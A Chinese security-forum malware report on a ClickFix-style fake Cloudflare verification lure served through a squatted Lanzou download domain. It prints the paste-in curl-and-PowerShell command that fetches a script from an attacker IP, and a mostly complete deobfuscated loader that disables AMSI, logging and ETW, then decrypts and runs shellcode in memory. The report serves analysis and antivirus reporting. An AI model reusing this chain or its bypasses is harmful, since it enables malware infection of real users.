查看: 227|回复: 8
收起左侧

[病毒样本] 济宁网众蓝奏过期域,黑产抢注验证钓鱼,PowerShell/Kryptik.PC-Trojan 火绒卡巴不报

[复制链接]
3306-1
发表于 4 小时前 | 显示全部楼层 |阅读模式
来源:https://www.52pojie.cn/thread-2135145-1-1.html
关联:https://huorong.cn/document/tech/vir_report/2082
受害:lccccccc
抄送:@火绒工程师
备注:PS脚本后加密载荷,内存执行
   由于仅静态分析,无法完整转储

请有实机安全围栏的,双击并转储分享后续载荷
请卡巴用户,积极向卡巴进行本样本的漏杀反馈


受害者描述
  1. 尝试下载某帖内的 ScreenWings 转载程序

  2. 下载地址是蓝奏云,结果打开后一路跳转到人机验证钓鱼

  3. 当时疏忽大意,不清醒就执行了恶意执行

  4. 求助大家,该如何杀毒,是否有害,怎么清理这个木马病毒

  5. (已去敏,3306 重新转储)
复制代码

参考图片


有效参考
域 名 lanzouo[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 济宁网众信息技术有限公司
邮 箱
省/州 山东
地 区 中国(CN)
许可号 鲁ICP备15001327号
通过日 2025-08-04
注册日 2020-07-19 02:12:30 UTC+8
过期日 2027-07-19 02:12:30 UTC+8
更新日 2026-06-23 17:42:17 UTC+8
IANA_ID 420
状 态 正常
解 析 ns1[.]dns[.]com
    ns2[.]dns[.]com
DNSSEC 未配置

失效抢注
域 名 lanzous[.]com
注册商 Dynadot Inc
注册人
邮 箱
注册日 2022-05-11 02:31:05 UTC+8
过期日 2029-05-11 02:31:05 UTC+8
更新日 2024-10-20 04:56:49 UTC+8
IANA_ID 472
状 态 注册商禁止转移
    禁止转移
解 析 ns1[.]parklogic[.]com
    ns2[.]parklogic[.]com
DNSSEC 未配置

嵌套路由
域 名 parklogic[.]com
注册商 Dynadot Inc
注册人
邮 箱
注册日 2007-03-01 06:35:52 UTC+8
过期日 2031-03-01 06:35:52 UTC+8
更新日 2026-09-08 04:33:04 UTC+8
IANA_ID 472
状 态 注册商禁止转移
    禁止转移
解 析 cartman[.]ns.cloudflare[.]com
    gloria[.]ns.cloudflare[.]com
DNSSEC 未配置

恶意载荷(站群之一,未及时转储,解析已空)
域 名 superdudesjr[.]com
注册商 Dominet (HK) Limited
注册人
邮 箱
省/州 Sachsen
地 区 德国(DE)
注册日 2026-10-30 19:15:38 UTC+8
过期日 2027-10-30 19:15:38 UTC+8
更新日 2026-10-31 17:18:13 UTC+8
IANA_ID 3775
状 态 正常
解 析 ns1[.]eternitynames[.]net
    ns2[.]eternitynames[.]net
    ns3[.]eternitynames[.]net
    ns4[.]eternitynames[.]net
DNSSEC 未配置

文件指纹
curl.bat(仅供参考,我本地另存)
大小: 198 字节
CRC32: 2AE9CF2D
XXH64: 74D69775936C0252
SHA256: 41379f6f76ae18430dcfc13d33a1f6d6bdf35510d8ff0d7d86e9e79290f80d31
SHA3-256: 4d96963df1c1de6cfd268c866ac24b2f361d2df4ddcbff2eec9d5f29db0e6306

P516.ps1(仅供参考,我本地另存)
大小: 7710 字节 : 7 KiB
CRC32: BB724933
XXH64: F7E6DE927BDF70A9
SHA256: 11376ce8ffbb347beac62d1cb375c81307aebc342d8d0c3a1957295a0781cad3
SHA3-256: 2d1c1d7643b8c0dbbff82cfe51468f022da54deac87e27ca364f96e7f5355197

281/P516.ps1(不固定,服务器动态生成)
大小: 7793 字节 : 7 KiB
CRC32: 7F231E06
XXH64: 17995DBC8E055F5B
SHA256: 867b696315ed36e184ba522066c7f3fc9dbd1b480264bc540b2c1158968686ef
SHA3-256: 93629d2db6063cdd87c3b19195692ed5149b59f89b620b3f081898583a0b07f0

ver.pa(不固定,服务器动态生成)
大小: 8225392 字节 : 8032 KiB
CRC32: DD028D51
XXH64: 262D0C5E78D96570
SHA256: c235f4940f5dea8cdc928604a47cab2771377762672a46146e3ce65e7ff151a7
SHA3-256: 43b8d244656a409e8d6359fb64b49926a18aa996672a8faa369f06607c0c7f4c

火绒扫描(我自己的本地扫描结果)
6.0.12.3 版本
10-31 19:01 病毒库

2026/10/31 22:11:52
2026/11/01 08:24:20
病毒防护
病毒查杀
自定义扫描(手动执行),发现0个风险项目

病毒库时间:2026-10-31 19:01
开始时间:2026-10-31 22:11
     2026-11-01 08:24
执行类型:手动执行
扫描类型:自定义扫描
总计用时:00:00:01
扫描对象:2
     5
扫描文件:2
     5
发现风险:0
已处理风险:0

资源情况
  1. 帖子地址
  2. 反录屏截图 ScreenWings

  3. 转载时间
  4. 2020-03-11 21:13

  5. 蓝奏入口
  6. /ia5n7bg

  7. 原定内容(根据该帖历史回复猜测)
  8. ScreenWings.rar

  9. 实际情况
  10. 2026-10-31
  11. 文件链接失效,请获取新链接

  12. 官方地址
  13. https://schiffer.tech/screenwings.html

  14. 官方下载
  15. 商业付费软件,官网目前暂无公开地址

  16. 历史指纹
  17. ScreenWings.exe
  18. 大小: 3707424 字节 : 3620 KiB
  19. CRC32: BD8317B2
  20. XXH64: 1EB1C06BD28AE60F
  21. SHA256: 26f537ecc93fa08ba1361334fffd2aca3208eba336a5ec036c5587db40700091
  22. SHA3-256: c7e7706ad40160cf439aa457f44c97c227e8ac366cbded418203f6d81061047b

  23. 历史属性
  24. Themida - Winlicense v3.0.0.0 - 3.2.4.0 - [  PACKED  ] Oreans Technologies - www.oreans.com ,
  25. Overlay : 000000... Nothing detected

  26. FILEVERSION    2,14,1092,0
  27. PRODUCTVERSION 2,14,1092,0
  28. FILEFLAGSMASK  0x3F
  29. FILEFLAGS      0x0
  30. FILEOS         VOS_UNKNOWN | VOS__WINDOWS32
  31. FILETYPE       VFT_APP
  32. FILESUBTYPE    0x0
  33. {
  34.   BLOCK "VarFileInfo"
  35.   {
  36.     VALUE "Translation", 0x0, 1200
  37.   }
  38.   BLOCK "StringFileInfo"
  39.   {
  40.     BLOCK "000004b0"
  41.     {
  42.       VALUE "Comments",          ""
  43.       VALUE "CompanyName",       "Hendrik Schiffer"
  44.       VALUE "FileDescription",   "ScreenWings"
  45.       VALUE "FileVersion",       "2.14.1092"
  46.       VALUE "InternalName",      "ScreenWings.exe"
  47.       VALUE "LegalCopyright",    "Copyright © Hendrik Schiffer 2016-2020"
  48.       VALUE "LegalTrademarks",   ""
  49.       VALUE "OriginalFilename",  "ScreenWings.exe"
  50.       VALUE "ProductName",       "ScreenWings"
  51.       VALUE "ProductVersion",    "2.14.1092"
  52.       VALUE "Assembly Version",  "2.14.1092.0"
  53.     }
  54.   }
  55. }

  56. 数字签名
  57. Hendrik Schiffer
  58. contact@schiffer.tech
  59. Sectigo RSA Code Signing CA 签发
  60. 2020-02-28 02:21:49,SHA 1 摘要算法
  61. 证书序列号:00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b

  62. Hendrik Schiffer
  63. contact@schiffer.tech
  64. Sectigo RSA Code Signing CA 签发
  65. 2020-02-28 02:21:52,SHA 256 摘要算法
  66. 证书序列号:00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b
复制代码
内联脚本
  1. (() => {
  2.   "use strict";
  3.   const e = "offset",
  4.     t = "client",
  5.     o = function () {};
  6.   let n = !1,
  7.     r = !1;
  8.   const i = {
  9.       loopDelay: 50,
  10.       maxLoop: 5,
  11.       complete: o,
  12.     },
  13.     a = [];
  14.   let s = null;
  15.   const l = {
  16.       cssClass:
  17.         "ad-overlay google-ad-bottom-outer prebid-wrapper .dfp-ad-container",
  18.     },
  19.     u = {
  20.       nullProps: [e + "Parent"],
  21.       zeroProps: [],
  22.     };
  23.   u.zeroProps = [
  24.     e + "Height",
  25.     e + "Left",
  26.     e + "Top",
  27.     e + "Width",
  28.     e + "Height",
  29.     t + "Height",
  30.     t + "Width",
  31.   ];
  32.   const c = {
  33.     quick: null,
  34.     remote: null,
  35.   };
  36.   let d = null;
  37.   const p = {
  38.     test: 0,
  39.     download: 0,
  40.   };
  41.   function f(e) {
  42.     return "function" == typeof e;
  43.   }
  44.   function m(e) {
  45.     !0 !== d &&
  46.       ((r = !0),
  47.       y(e),
  48.       (c.quick = "testing"),
  49.       (p.test = setTimeout(function () {
  50.         h(e, 1);
  51.       }, 5)));
  52.   }
  53.   function y(e) {
  54.     let t,
  55.       o,
  56.       n = document.body,
  57.       r =
  58.         "width: 1px !important; height: 1px !important; position: absolute !important; left: -10000px !important; top: -1000px !important;";
  59.     if (null != e && "string" != typeof e) {
  60.       for (
  61.         null != e.style && (r += e.style),
  62.           s = (function (e, t) {
  63.             let o,
  64.               n,
  65.               r = t;
  66.             if (((n = document.createElement(e)), r))
  67.               for (o in r) r.hasOwnProperty(o) && n.setAttribute(o, r[o]);
  68.             return n;
  69.           })("div", {
  70.             class: e.cssClass,
  71.             style: r,
  72.           }),
  73.           n.appendChild(s),
  74.           t = 0;
  75.         t < u.nullProps.length;
  76.         t++
  77.       )
  78.         o = s[u.nullProps[t]];
  79.       for (t = 0; t < u.zeroProps.length; t++) o = s[u.zeroProps[t]];
  80.     }
  81.   }
  82.   function h(e, t) {
  83.     const o = document.body;
  84.     let c = !1;
  85.     if ((null == s && y(e || l), "string" != typeof e)) {
  86.       (p.test > 0 && (clearTimeout(p.test), (p.test = 0)),
  87.         null !== o.getAttribute("abp") && (c = !0));
  88.       for (let e = 0; e < u.nullProps.length; e++) {
  89.         if (null == s[u.nullProps[e]]) {
  90.           t > 4 && (c = !0);
  91.           break;
  92.         }
  93.         if (!0 === c) break;
  94.       }
  95.       for (let e = 0; e < u.zeroProps.length && !0 !== c; e++)
  96.         0 === s[u.zeroProps[e]] && t > 4 && (c = !0);
  97.       if (void 0 !== window.getComputedStyle) {
  98.         const e = window.getComputedStyle(s, null);
  99.         ("none" !== e.getPropertyValue("display") &&
  100.           "hidden" !== e.getPropertyValue("visibility")) ||
  101.           (t > 4 && (c = !0));
  102.       }
  103.       ((n = !0),
  104.         c || t++ >= i.maxLoop
  105.           ? ((d = c),
  106.             (function () {
  107.               let e, t;
  108.               if (null === d) return;
  109.               for (e = 0; e < a.length; e++) {
  110.                 t = a[e];
  111.                 try {
  112.                   null != t && f(t["complete"]) && t["complete"](d);
  113.                 } catch (e) {
  114.                   return;
  115.                 }
  116.               }
  117.             })(),
  118.             g() &&
  119.               setTimeout(function () {
  120.                 r = !1;
  121.               }, 5))
  122.           : (p.test = setTimeout(function () {
  123.               h(e, t);
  124.             }, i.loopDelay)));
  125.     } else
  126.       g() &&
  127.         setTimeout(function () {
  128.           r = !1;
  129.         }, 5);
  130.   }
  131.   function g() {
  132.     if (null === s) return !0;
  133.     try {
  134.       (f(s.remove) && s.remove(), document.body.removeChild(s));
  135.     } catch (e) {}
  136.     return ((s = null), !0);
  137.   }
  138.   var w = function (e) {
  139.     if (!e) return;
  140.     const t = {
  141.       complete: o,
  142.       found: o,
  143.       notfound: o,
  144.     };
  145.     let n;
  146.     for (n in e)
  147.       e.hasOwnProperty(n) &&
  148.         ("complete" === n || "found" === n || "notFound" === n
  149.           ? (t[n.toLowerCase()] = e[n])
  150.           : (i[n] = e[n]));
  151.     (a.push(t),
  152.       (function () {
  153.         let e,
  154.           t = !1;
  155.         (document.readyState && "complete" === document.readyState && (t = !0),
  156.           (e = function () {
  157.             m(l);
  158.           }),
  159.           t ? e() : window.addEventListener("load", e));
  160.       })());
  161.   };
  162.   function b() {
  163.     (document.write(
  164.       `<a id="Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O" href="/.IGV0hOcNusVJOgqoD1HuWTk0PssdueKB"></a>`,
  165.     ),
  166.       document.getElementById("Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O").click());
  167.   }
  168.   function v(e) {
  169.     return `${e}`;
  170.   }
  171.   async function P(e) {
  172.     const t = await (async function (e, t) {
  173.       const o = Uint8Array.from(atob(e), (e) => e.charCodeAt(0)),
  174.         n = JSON.parse(new TextDecoder().decode(o));
  175.       return (
  176.         (n.parameters.adBlockingDetected = t),
  177.         (n.parameters.isIframe = window.self !== window.top),
  178.         (n.parameters.refererBrowser = document.referrer),
  179.         (n.parameters.timezoneBrowser =
  180.           Intl.DateTimeFormat().resolvedOptions().timeZone),
  181.         (n.parameters.timezoneOffset = new Date().getTimezoneOffset()),
  182.         (n.parameters.webdriver = navigator.webdriver),
  183.         (n.parameters.gpu = await (async function () {
  184.           if (!navigator.gpu) return null;
  185.           const e = await navigator.gpu.requestAdapter();
  186.           if (!e) return null;
  187.           if (e.info && e.info.vendor) return e.info.vendor;
  188.           if (e.requestAdapterInfo) {
  189.             const t = await e.requestAdapterInfo();
  190.             return t.vendor ? t.vendor : null;
  191.           }
  192.           return null;
  193.         })()),
  194.         JSON.stringify(n)
  195.       );
  196.     })(
  197.       "eyJw ..... J9fQ==",
  198.       e,
  199.     );
  200.     (async function (e, t) {
  201.       const o = new XMLHttpRequest();
  202.       ((o.onreadystatechange = _), o.open("POST", e, !0), o.send(t));
  203.     })("https://router[.]parklogic[.]com/ia5n7bg", t).then();
  204.   }
  205.   function T(e) {
  206.     ((document.body.innerHTML = e),
  207.       document.body.querySelectorAll("script").forEach((e) => {
  208.         const t = document.createElement("script");
  209.         for (const o of e.attributes) t.setAttribute(o.name, o.value);
  210.         ((t.innerHTML = e.innerHTML), e.parentNode.replaceChild(t, e));
  211.       }));
  212.   }
  213.   function _() {
  214.     var e;
  215.     4 === this.readyState &&
  216.       (200 !== this.status &&
  217.         console.error(
  218.           `failed to contact router, status code: ${this.status} "${this.statusText}"`,
  219.         ),
  220.       this.responseText.startsWith("http")
  221.         ? ((e = this.responseText),
  222.           "true" === v("")
  223.             ? ((document.cookie = `m6RW96QaECHb2mXiRi7YQBqlkYuoZc7A=${btoa(e)};max-age=5`),
  224.               b())
  225.             : window.location.replace(e))
  226.         : T(this.responseText));
  227.   }
  228.   "true" === v("true")
  229.     ? w({
  230.         complete: (e) => {
  231.           e
  232.             ? "true" === v("")
  233.               ? ((document.cookie =
  234.                   "Nsj7rdlN8X5lOGh3PoZezs9aS9Eqq3VK=1;max-age=5"),
  235.                 "true" === v("") ? b() : location.reload())
  236.               : P(!0)
  237.             : P(!1);
  238.         },
  239.       })
  240.     : P();
  241. })();
复制代码
载荷参考
  1. POST
  2. https://router[.]parklogic[.]com/ia5n7bg

  3.         JSON.stringify(n)
  4.       );
  5.     })(
  6.       "eyJw ..... J9fQ==",  <<<取自此处,Base64 编码,内容为下方压缩
  7.       e,
  8.     );

  9. {
  10.     "parameters": {
  11.         "uuid": "064bf29af417ca2120f90bb7687b6e89",
  12.         "regionName": "",
  13.         "continentName": "Asia",
  14.         "city": "",
  15.         "timezoneGeo": "Asia/Shanghai",
  16.         "continent": "AS",
  17.         "path": "/ia5n7bg",
  18.         "domainApex": "lanzous[.]com",
  19.         "tenant": "generic",
  20.         "country": "CN",
  21.         "domainFull": "www[.]lanzous[.]com",
  22.         "ipOrig": "127[.]0[.]0[.]1",
  23.         "countryName": "China",
  24.         "referrer": "https://www[.]lanzous[.]com/ia5n7bg",
  25.         "protocol": "https",
  26.         "region": "",
  27.         "adBlockingDetected": true,
  28.         "isIframe": false,
  29.         "refererBrowser": "https://www[.]lanzous[.]com/ia5n7bg",
  30.         "timezoneBrowser": "Asia/Shanghai",
  31.         "timezoneOffset": -480,
  32.         "webdriver": false,
  33.         "gpu": "nvidia"
  34.     }
  35. }
复制代码
响应参考
  1. 随机路由分配地址,每次
  2. 并不固定,很难原路复现

  3. 本次参考为(与人机验证钓鱼无关)
  4. https://greenbites[.]net/r/qeSu ..... Z1p4(https 至 Z1p4 字符总长约 1220)
复制代码
钓鱼诱导
  1. CLOUDFLARE

  2. Human Verification
  3. Complete the steps Detow
  4. perform the steps on your keyboard‌

  5. Win+R
  6. Type cmd in the input box and press Enter
  7. Ctrl+V
  8. Enter
复制代码
执行命令
  1. cmd /c
  2.   curl.exe
  3.     -fsL
  4.     --ssl-no-revoke
  5.     --retry 8
  6.     --retry-connrefused
  7.     --retry-delay 1
  8.     --connect-timeout 20
  9.     -o "%TEMP%\P516.ps1"
  10.     1319076862/281
  11.   &&
  12.   powershell
  13.     -w h
  14.     -nop
  15.     -ep bypass
  16.     -File "%TEMP%\P516.ps1"
复制代码
恶意载荷
  1. 1319076862/281

  2. http://78[.]159[.]131[.]254/281
复制代码
通讯参考
  1. *   Trying 78[.]159[.]131[.]254:80...
  2. * Established connection to 78[.]159[.]131[.]254 (78[.]159[.]131[.]254 port 80) from     port 61587
  3. * using HTTP/1.x

  4. > GET /281 HTTP/1.1
  5. > Host: 78[.]159[.]131[.]254
  6. > User-Agent: curl/8.23.0
  7. > Accept: */*
  8. >
  9. * Request completely sent off

  10. < HTTP/1.1 200 OK
  11. < Server: nginx
  12. < Date: Sat, 31 Oct 2026 23:59:44 GMT
  13. < Content-Type: application/octet-stream
  14. < Content-Length: 7726
  15. < Last-Modified: Sat, 31 Oct 2026 17:06:47 GMT
  16. < Connection: keep-alive
  17. < ETag: "6ae62027-1e2e"
  18. < Accept-Ranges: bytes
  19. <

  20. $ptKSnRHP = ''; .....
复制代码
释放文件
  1. %TEMP%\P516.ps1
复制代码
动态运算
  1. # ===== 1. 还原 AMSI 相关类型名:System.Management.Automation.AmsiUtils =====
  2. $giKovsDymxFqLh = ''
  3. $fmppNVgZQSNx = @(
  4.     -2337672, ..... ,-2337640
  5. )

  6. $giKovsDymxFqLh = ''
  7. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  8.     $giKovsDymxFqLh += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2337755)
  9. }

  10. # ===== 2. 还原字段名:amsiContext =====
  11. $fmppNVgZQSNx = @(
  12.     -2351186, ..... ,-2351167
  13. )

  14. $Thlco = ''
  15. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  16.     $Thlco += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2351283)
  17. }

  18. $YMlFoQtmLbHnWx = [psobject].Assembly.GetType($giKovsDymxFqLh)
  19. $CyZoqesinvz = $YMlFoQtmLbHnWx.GetField($Thlco, 40)
  20. $CyZoqesinvz.SetValue($MNQlP, [IntPtr]::Zero)

  21. # ===== 3. 还原 ScriptBlock 类型与 signatures 字段 =====
  22. $fmppNVgZQSNx = @(
  23.     -1498542, ..... ,-1498518
  24. )

  25. $KiIYZGfZ = ''
  26. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  27.     $KiIYZGfZ += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1498625)
  28. }

  29. $fmppNVgZQSNx = @(
  30.     -1330227, ..... ,-1330227
  31. )

  32. $AmPNjWAhwI = ''
  33. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  34.     $AmPNjWAhwI += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1330342)
  35. }

  36. $bAkhuh = [psobject].Assembly.GetType($KiIYZGfZ)
  37. $arbEuGwMQPSPw = $bAkhuh.GetField($AmPNjWAhwI, 40)
  38. $udvbgZiYX = $arbEuGwMQPSPw.GetValue($MNQlP)
  39. $udvbgZiYX.Clear()

  40. # ===== 4. 还原 ETW 相关类型与字段:PSEtwLogProvider.etwProvider.m_enabled =====
  41. $fmppNVgZQSNx = @(
  42.     -1943415, ..... ,-1943384
  43. )

  44. $DPeRDoXl = ''
  45. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  46.     $DPeRDoXl += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1943498)
  47. }

  48. $fmppNVgZQSNx = @(
  49.     -2128999, ..... ,-2129008
  50. )

  51. $FbnXfBOM = ''
  52. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  53.     $FbnXfBOM += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2129108)
  54. }

  55. $fmppNVgZQSNx = @(
  56.     -2037191, ..... ,-2037178
  57. )

  58. $ZdugG = ''
  59. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  60.     $ZdugG += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2037292)
  61. }

  62. $TMStxJHqIm = [psobject].Assembly.GetType($DPeRDoXl)
  63. $IlDRmOTTdTQuKNq = $TMStxJHqIm.GetField($ZdugG, 40)
  64. $BCEztfxma = $IlDRmOTTdTQuKNq.GetValue($MNQlP)
  65. $m_enabledProp = $BCEztfxma.GetType().GetField($FbnXfBOM, 36)
  66. $m_enabledProp.SetValue($BCEztfxma, 0)

  67. # ===== 5. 动态程序集 + P/Invoke 声明 =====
  68. $mhJlAjbKqYmIHKO = New-Object Reflection.AssemblyName('C73955')
  69. $iEqkStDlcld = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
  70.     $mhJlAjbKqYmIHKO,
  71.     [Reflection.Emit.AssemblyBuilderAccess]::Run
  72. )

  73. $dTjQKhc = $iEqkStDlcld.DefineDynamicModule('F14566')
  74. $diQiVbqUAo = $dTjQKhc.DefineType(
  75.     'G78255',
  76.     [Reflection.TypeAttributes]'Public,BeforeFieldInit'
  77. )

  78. $QzHVKfOhXGxacN = [Reflection.MethodAttributes]'Public,Static'
  79. $TWFFS = [Reflection.CallingConventions]::Standard
  80. $eOtOpLKiaNCkAJ = [Runtime.InteropServices.CallingConvention]::Winapi

  81. $jpozZY = [Runtime.InteropServices.CharSet]::Auto
  82. $wjzHYwTrgeay = [Runtime.InteropServices.CharSet]::Unicode
  83. $sPqJReFYNhFZ = [Runtime.InteropServices.CharSet]::Ansi

  84. function DefineImportFunc(
  85.     $XOJPgCUysoSj,
  86.     .....
  87.     $TWXttLtoztOEwU
  88. ) {
  89.     $diQiVbqUAo = $diQiVbqUAo.DefinePInvokeMethod(
  90.         $XOJPgCUysoSj,
  91.         .....
  92.         $TWXttLtoztOEwU
  93.     )
  94.     $diQiVbqUAo.SetImplementationFlags(
  95.         [Reflection.MethodImplAttributes]::PreserveSig
  96.     )
  97. }

  98. DefineImportFunc 'VirtualAlloc' 'kernel32.dll' ([IntPtr]) ([type[]]@(
  99.     [IntPtr],
  100.     [UIntPtr],
  101.     [uint32],
  102.     [uint32]
  103. )) $jpozZY

  104. DefineImportFunc 'VirtualProtect' 'kernel32.dll' ([bool]) ([type[]]@(
  105.     [IntPtr],
  106.     [UIntPtr],
  107.     [uint32],
  108.     [uint32].MakeByRefType()
  109. )) $jpozZY

  110. DefineImportFunc 'CreateThread' 'kernel32.dll' ([IntPtr]) ([type[]]@(
  111.     [IntPtr],
  112.     [UIntPtr],
  113.     [IntPtr],
  114.     [IntPtr],
  115.     [uint32],
  116.     [uint32].MakeByRefType()
  117. )) $jpozZY

  118. DefineImportFunc 'LoadLibraryA' 'kernel32.dll' ([IntPtr]) ([type[]]@(
  119.     [string]
  120. )) $sPqJReFYNhFZ

  121. DefineImportFunc 'GetProcAddress' 'kernel32.dll' ([IntPtr]) ([type[]]@(
  122.     [IntPtr],
  123.     [string]
  124. )) $sPqJReFYNhFZ

  125. $dftwqQxIlOLy = $diQiVbqUAo.CreateType()

  126. # ===== 6. 还原 User-Agent =====
  127. $fmppNVgZQSNx = @(
  128.     -3297583, ..... ,-3297606
  129. )

  130. $nSAbiGZCqEH = ''
  131. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  132.     $nSAbiGZCqEH += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 3297660)
  133. }

  134. # ===== 7. 还原下载 URL:http://78[.]159[.]131[.]254/yrjrs/ver.pa =====
  135. $fmppNVgZQSNx = @(
  136.     -2660095, ..... ,-2660102
  137. )

  138. $MAAFdo = ''
  139. for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
  140.     $MAAFdo += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2660199)
  141. }

  142. # ===== 8. 下载加密载荷 =====
  143. $InCIIXjvHBs = New-Object System.Net.WebClient
  144. $InCIIXjvHBs.Headers.Add("User-Agent", $nSAbiGZCqEH)
  145. [byte[]]$xUdOZMu = $InCIIXjvHBs.DownloadData($MAAFdo)

  146. # ===== 9. AES-256-CBC 解密:前 16 字节为 IV,其余为密文 =====
  147. $JDeLHCU = [Convert]::FromBase64String(
  148.     "x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4="
  149. )

  150. $nNARAjGgoxBhWAy = $xUdOZMu
  151. $qxxJE = [byte[]]::new(16)
  152. $FLAewGdDWjXMtjl = [byte[]]::new($nNARAjGgoxBhWAy.Length - 16)

  153. [Array]::Copy($nNARAjGgoxBhWAy, 0, $qxxJE, 0, 16)
  154. [Array]::Copy(
  155.     $nNARAjGgoxBhWAy,
  156.     16,
  157.     $FLAewGdDWjXMtjl,
  158.     0,
  159.     $FLAewGdDWjXMtjl.Length
  160. )

  161. $TbbiToHYP = [System.Security.Cryptography.Aes]::Create()
  162. $TbbiToHYP.Key = $JDeLHCU
  163. $TbbiToHYP.IV = $qxxJE
  164. $TbbiToHYP.Mode = [System.Security.Cryptography.CipherMode]::CBC
  165. $TbbiToHYP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

  166. $rauEAzEG = $TbbiToHYP.CreateDecryptor()
  167. $UYQhcf = [System.IO.MemoryStream]::new($FLAewGdDWjXMtjl)
  168. $TWXttLtoztOEwU = [System.Security.Cryptography.CryptoStream]::new(
  169.     $UYQhcf,
  170.     $rauEAzEG,
  171.     [System.Security.Cryptography.CryptoStreamMode]::Read
  172. )

  173. $dYAoK = [System.IO.MemoryStream]::new()
  174. $TWXttLtoztOEwU.CopyTo($dYAoK)

  175. # 最终 ShellCode 字节数组
  176. $xUdOZMu = $dYAoK.ToArray()
  177. $UfDlGgbpoqcr = $xUdOZMu.Length

  178. $dYAoK.Dispose()
  179. $TWXttLtoztOEwU.Dispose()
  180. $UYQhcf.Dispose()
  181. $rauEAzEG.Dispose()
  182. $TbbiToHYP.Dispose()

  183. # ===== 10. 内存分配、写入 ShellCode、改执行权限、创建线程 =====
  184. $mzmXuXOZ = $xUdOZMu
  185. $xcHJLOQz = 0
  186. $pr1740 = 0

  187. $cAKUpHUkTuE = $dftwqQxIlOLy::VirtualAlloc(
  188.     [IntPtr]::Zero,
  189.     [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
  190.     [uint32]12288,
  191.     [uint32]4
  192. )

  193. [Runtime.InteropServices.Marshal]::Copy(
  194.     $mzmXuXOZ,
  195.     0,
  196.     $cAKUpHUkTuE,
  197.     $UfDlGgbpoqcr
  198. )

  199. [void]$dftwqQxIlOLy::VirtualProtect(
  200.     $cAKUpHUkTuE,
  201.     [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
  202.     [uint32]64,
  203.     [ref]$xcHJLOQz
  204. )

  205. $ti3957 = [uint32]0

  206. [void]$dftwqQxIlOLy::CreateThread(
  207.     [IntPtr]::Zero,
  208.     [UIntPtr]::Zero,
  209.     [IntPtr]::new($cAKUpHUkTuE.ToInt64()),
  210.     [IntPtr]::Zero,
  211.     [uint32]0,
  212.     [ref]$ti3957
  213. )

  214. while ($true) {
  215.     Start-Sleep -Seconds 30
  216. }
复制代码
加密载荷
  1. http://78[.]159[.]131[.]254/yrjrs/ver.pa
复制代码
通讯参考
  1. *   Trying 78[.]159[.]131[.]254:80...
  2. * Established connection to 78[.]159[.]131[.]254 (78.159.131.254 port 80) from 10.0.2.3 port 61724
  3. * using HTTP/1.x

  4. > GET /yrjrs/ver.pa HTTP/1.1
  5. > Host: 78[.]159[.]131[.]254
  6. > User-Agent: curl/8.23.0
  7. > Accept: */*
  8. >
  9. * Request completely sent off

  10. < HTTP/1.1 200 OK
  11. < Server: nginx
  12. < Date: Sun, 01 Nov 2026 00:02:56 GMT
  13. < Content-Type: application/octet-stream
  14. < Content-Length: 8401008
  15. < Last-Modified: Sat, 31 Oct 2026 17:07:07 GMT
  16. < Connection: keep-alive
  17. < ETag: "6ae6203b-803070"
  18. < Accept-Ranges: bytes
  19. <

  20. 经过加密的 ShellCode
复制代码
释放文件
  1. %USERPROFILE%/ver.pa
复制代码
解密还原
  1. 前 16 字节作为 AES IV;

  2. 剩余字节作为 AES-CBC/PKCS7 密文;

  3. 使用硬编码 Base64 Key:x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4=;

  4. 解密后得到 ShellCode 字节数组。
复制代码
内存执行
  1. VirtualAlloc 分配可读写内存;

  2. Marshal.Copy 写入解密后的 ShellCode;

  3. VirtualProtect 改为 PAGE_EXECUTE_READWRITE,即 0x40;

  4. CreateThread 创建线程执行 ShellCode;

  5. while($true){Start-Sleep -Seconds 30} 保持进程存活。
复制代码
解析参考
  1. {
  2.   "tool": "dns",
  3.   "query": "www[.]lanzous[.]com",
  4.   "queryType": "ALL",
  5.   "server": "162[.]4[.]84[.]45",
  6.   "serverHost": "ns1[.]parklogic[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "5209d304-8d3f-4fd6-969c-ad0edc6005a8",
  13.   "timestamp": "2026-10-31T13:58:37.587Z",
  14.   "elapsed": 153,
  15.   "results": [
  16.     {
  17.       "type": "SOA",
  18.       "name": "www[.]lanzous[.]com",
  19.       "ttl": 300,
  20.       "expire": 1209600,
  21.       "hostmaster": "hostmaster[.]parklogic[.]com",
  22.       "minttl": 300,
